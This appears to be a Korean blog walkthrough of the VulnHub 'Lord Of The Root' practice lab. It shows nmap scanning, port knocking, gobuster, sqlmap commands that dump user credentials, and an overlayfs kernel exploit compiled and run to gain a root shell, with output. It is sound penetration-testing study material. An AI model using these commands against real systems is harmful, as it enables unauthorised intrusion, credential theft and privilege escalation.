VulnHub

VulnHub | Lord Of The Root - 모의해킹

cybermad 2025. 11. 16. 18:51

정보수집

 

arp-scan -l

 

먼저 해당랩에 아이피 부터 수집후

nmap 포트 스캔을 해주겠습니다

nmap -A -sV -P -T4 192.168.190.130 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-16 03:36 EST
Nmap scan report for 192.168.190.130
Host is up (0.0011s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
|   2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|   256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_  256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
MAC Address: 00:0C:29:D4:90:83 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (93%), Linux 3.13 - 4.4 (93%), Linux 3.16 - 4.6 (93%), Linux 3.2 - 4.14 (93%), Linux 3.8 - 3.16 (93%), Linux 4.4 (93%), Linux 3.13 (90%), Linux 3.18 (89%), Linux 4.2 (89%), Linux 3.16 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.07 ms 192.168.190.130

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.48 seconds
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)

 

현재 ssh 우분투 서버가 열려있는것을 확인했습니다

 

ssh 로그인을 해줍시다

 

다음과 같은 로그인 화면이 나왔습니다

Lord Knock Friend To Enter 이라는

문구가 나오며 Easy as 1,2,3 이라는 문장도 함게 나와있습니다

이는 해당 ssh 에 접근할려면 Port Knocking 이란걸 해줘야합니다

 

Port Knocking 이란

포트 노킹(Port Knocking)은 서버의 보안을 강화하기 위해 특정 순서대로 닫힌 포트들에 연결 시도를 해서, 올바른 시퀀스가 입력되면 방화벽 규칙을 동적으로 수정해 특정 포트를 일시적으로 열어주는 보안 기술입니다. 즉, "비밀의 노크"처럼 정해진 순서대로 포트를 두드리면 숨겨져 있던 포트가 열리도록 하는 방식입니다

 

쉽게말해 포트노킹은 1,2,3 처럼 정해진 순서대로 두드리면 숨겨진 포트가 열리는 그런?

 

포트노킹을 하기위해 다음과 같은 명령어을 쳐줍시다

nmap -r -Pn -p1,2,3 192.168.190.130

 

포트를 두드린후

 

-p- 명령어를 이용하여 전체포트를 스캔해줍니다

 

오 포트노킹을 통해 원래 22/tcp ssh 만 열려있었는데 1337/tcp waste 라는 포트도 같이 열렸습니다

해당 192.168.190.130:1337 포트로 접속해보겠습니다

gobuster 를 통해 경로를 스캔해주겠습니다

gobuster dir -u http://192.168.190.130:1337/ -w dirs

 

images 라는 경로가 발견되였습니다

 

3가지 jpg 파일중에 특별한건 없는거 같습니다

index.php 라는 숨겨진 경로가 있다는걸 알고 해당 경로로 접속해봅시다

f12로 해당 파일에 소스코드를 열어주면

 

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

 

base64 로 인코딩된 문자열을 확인할수 있었습니다

디코딩 해줍시다

Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!

 

이걸 또다시 한번 디코딩 해주면 

/978345210/index.php

 

숨겨진 경로가 나오는걸 볼수 있습니다

진입해봅시다

로그인 창이 화면이 보입니다

sql injection 에 취약한지 확인해줍시다

SQL INJECTION

sql injection 을 하기위해서 

sqlmap -u "http://192.168.190.130:1337/978345210/index.php" --forms --dbs --level=3 --risk=3 --batch

 

sqlmap 이라는 sql injection 전용 툴을 사용하여 스캔 해주겠습니다

 

현재 sql injection 에 취약하다는걸 알아냈습니다

또한 데이터베이스 구조가 Webapp 라는것 또한 알아냈기에

 

Webapp 테이블에 저장된 정보들을 추출해봅시다

 

sqlmap -u "http://192.168.190.130:1337/978345210/index.php" --forms --level=3 --risk=3 -D Webapp -T Users --columns --dump

 

 

MyPreciousR00t   | smeagol

 

성공적으로 로그인 정보를 얻어냈습니다

이 정보를 가지고 smeagol ssh 서버에 로그인 해보겠습니다

ssh smeagol@192.168.190.130

 

 

권한상승

해당 커널에 exploit db

https://www.exploit-db.com/exploits/37292

 

서버를 연후 wget 으로 ssh 서버에 exploit 을 다운로드 해주겠습니다

 

그후

 

smeagol@LordOfTheRoot:~$ gcc 39166.c -o overlayfs
smeagol@LordOfTheRoot:~$ ./overlayfs
root@LordOfTheRoot:~# id
uid=0(root) gid=1000(smeagol) groups=0(root),1000(smeagol)
root@LordOfTheRoot:~# cd /root
root@LordOfTheRoot:/root# ls
buf  buf.c  Flag.txt  other  other.c  switcher.py
root@LordOfTheRoot:/root# cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
root@LordOfTheRoot:/root#

Flag.txt

“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

 

여기까지 봐주셔서 감사합니다